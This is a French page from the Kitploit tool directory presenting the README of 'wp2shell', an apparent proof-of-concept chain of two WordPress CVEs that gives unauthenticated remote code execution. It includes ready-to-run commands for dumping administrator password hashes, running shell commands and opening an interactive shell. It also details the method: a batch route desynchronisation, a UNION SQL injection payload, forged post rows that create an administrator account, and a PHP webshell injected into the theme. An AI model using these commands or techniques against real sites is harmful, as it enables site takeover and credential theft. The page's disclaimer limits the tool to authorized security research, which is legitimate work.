Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-63030-POC — CVE-2026-63030 / wp2shell | Kitploit
Outils/GitHubGitHub/4b3r4m4-607d/cve-2026-63030-poc
Authentification et AutorisationAnalyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionApprentissage et ÉducationRed TeamingDéveloppement de Charges Utiles
GitHub4b3r4m4-607d/cve-2026-63030-poc

CVE-2026-63030-POC

CVE-2026-63030 / wp2shell

213il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Voir le dépôt
Partager

wp2shell — CVE-2026-63030 + CVE-2026-60137

Chaîne d'exploitation RCE WordPress one-day. Sans authentification. CVSS 9.8.

Zéro dépendance — uniquement la bibliothèque standard de Python 3.8+.

Versions affectées

BrancheVulnérableCorrigée
6.9.x6.9.0 – 6.9.4≥ 6.9.5
7.0.x7.0.0 – 7.0.1≥ 7.0.2

La chaîne d'exploitation

Deux CVE enchaînées pour une exécution de code à distance sans authentification :

root@kitploit:~
CVE-2026-63030 (route confusion)  →  batch desync bypasses auth
           +
CVE-2026-60137 (SQL injection)    →  author__not_in sinks raw into SQL
           ↓
   UNION-forge WP_Post rows  →  customizer changeset bridge  →  admin created
           ↓
   Login as admin  →  theme editor  →  webshell  →  RCE

Démarrage rapide

root@kitploit:~
# Sonde uniquement — non destructif, confirme la vulnérabilité
python3 exploit.py --url http://target:8080 --check

# Extrait les hashs des mots de passe admin de la base de données
python3 exploit.py --url http://target:8080 --dump-users

# Chaîne complète : SQLi → admin → webshell → commande
python3 exploit.py --url http://target:8080 --cmd "id; uname -a"

# Shell interactif (avec suivi du répertoire de travail)
python3 exploit.py --url http://target:8080 --shell

# Lit des données arbitraires via injection SQL UNION
python3 exploit.py --url http://target:8080 --read "SELECT @@version"

# Ignore le pont pré-authentification — utilise des identifiants connus
python3 exploit.py --url http://target:8080 --user admin --password hunter2 --cmd whoami

Options

root@kitploit:~
--url URL          URL de base WordPress cible (requis)
--check            Sonde uniquement — n'exploite pas
--dump-users       Extrait tous les identifiants utilisateur via UNION SQLi
--read SQL         Lit une expression SQL scalaire depuis la base de données
--cmd CMD          Exécute une commande shell sur la cible
--shell            Ouvre un shell interactif
--user USER        Nom d'utilisateur admin (ignore la création d'un admin pré-authentification)
--password PASS    Mot de passe admin (à utiliser avec --user)
--proxy URL        Proxy HTTP (p. ex. http://127.0.0.1:8080)
--timeout SEC      Délai d'expiration des requêtes (défaut : 30)
--no-cleanup       Laisse le webshell et l'utilisateur admin sur la cible

Fonctionnement

Confusion de route (CVE-2026-63030)

L'endpoint batch de WordPress (/?rest_route=/batch/v1) accepte un tableau de sous-requêtes. Lorsqu'une sous-requête possède un chemin non analysable (///), un WP_Error est ajouté à $validation mais pas à $matches. La boucle de dispatch associe alors la requête N au gestionnaire N+1 — une requête validée pour un schéma est donc répartie vers un gestionnaire différent.

L'exploit envoie un batch imbriqué sur 3 niveaux, où chaque niveau utilise une amorce de désynchronisation en position 0 pour décaler les indices. La requête la plus interne — validée comme un élément de post unique (GET /wp/v2/posts/999999) — atterrit sur le gestionnaire de collection (posts->get_items()). Comme le schéma d'élément ne définit pas author_exclude, le paramètre passe sans être validé.

Injection SQL (CVE-2026-60137)

get_items() mappe author_exclude → author__not_in et le transmet à WP_Query. Lorsque author__not_in est une chaîne (et non un tableau), le bloc array_map('absint', …) est ignoré. La chaîne brute aboutit directement dans :

root@kitploit:~
WHERE post_author NOT IN (<payload>)

La charge utile 0) UNION ALL SELECT …-- - ferme la liste NOT IN et ajoute du SQL arbitraire.

Extraction UNION

Le wp_posts de WordPress 7.0.x possède exactement 23 colonnes. En injectant une ligne forgée via UNION ALL SELECT avec orderby=none (supprime le ORDER BY final) et per_page=500 (maintient WP_Query en mode ligne complète), le titre du post forgé — portant un marqueur ||HEX|| — est reflété dans la réponse REST. Toutes les valeurs de chaînes utilisent des littéraux hexadécimaux MySQL (0x…) pour éviter les problèmes d'échappement des guillemets via l'encodage URL.

Création d'un administrateur sans authentification

  1. Forger via UNION un post contenant des shortcodes [embed] → WordPress crée 3 lignes oembed_cache
  2. Relire les 3 IDs des posts de cache via l'extraction UNION
  3. Forger via UNION 7 lignes wp_posts structurées formant une chaîne de changesets du customizer
  4. Le shortcode [embed] est rendu, déclenchant WP_Embed::shortcode() → wp_update_post() → WP_Customize_Manager → wp_insert_user()
  5. Un administrateur est créé avec un nom d'utilisateur aléatoire (wp2_<random>) et un mot de passe (Wp2!<random>)

Déploiement du webshell

Se connecter en tant que nouvel admin → extraire le nonce de l'éditeur de thème → injecter un webshell PHP protégé par jeton en haut du functions.php du thème actif → y accéder via ?t=<token>&c=<command>.

Prérequis

  • Python 3.8 ou plus récent
  • Zéro dépendance externe — n'utilise que la bibliothèque standard (urllib, json, re, hashlib, secrets, html)
  • La cible doit avoir au moins un post ou une page publié (pour l'amorçage du cache oEmbed)

Limites

  • Loopback Docker : l'éditeur de fichiers de WordPress effectue une vérification de loopback wp_remote_post() avant d'enregistrer. Si le conteneur ne peut pas s'atteindre via son nom d'hôte, la modification du thème est bloquée. Utilisez --dump-users + connexion manuelle dans ces cas.
  • Aucun post publié : l'amorçage du cache oEmbed nécessite au moins un permalien public. Une installation WordPress vierge après configuration contient à la fois "Hello world!" et "Sample Page".
  • WAF / mod_security : un filtrage intensif des requêtes peut bloquer les charges utiles de batch imbriquées. Testez d'abord avec --check.

Vérification

root@kitploit:~
$ python3 exploit.py --url http://target --check
[+] VULNERABLE — route-confusion behavior detected!
[+] UNION SQLi extraction confirmed — in-band read available

$ python3 exploit.py --url http://target --dump-users
[*] 11 user(s) in wp_users:
  ID=1  login=admin
        pass=$wp$2y$10$...
  ...

Avertissement

Cet outil est destiné uniquement à la recherche en sécurité autorisée et à des fins pédagogiques. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.

Crédits

  • WPScan — divulgation des CVE (CVE-2026-63030, CVE-2026-60137)
  • NVD — base de données CVE
Télécharger l’outil
ÉtapeCVEVecteur
1CVE-2026-63030Le désalignement d'index REST /batch/v1 désynchronise la validation du dispatch
2CVE-2026-60137Le paramètre WP_Query author__not_in ignore absint() lorsqu'il est passé comme chaîne
3—UNION SELECT forge des lignes wp_posts ; oEmbed → customizer → wp_insert_user
4—S'authentifier en tant qu'administrateur nouvellement créé
5—L'éditeur de thème injecte un webshell protégé par jeton dans le thème actif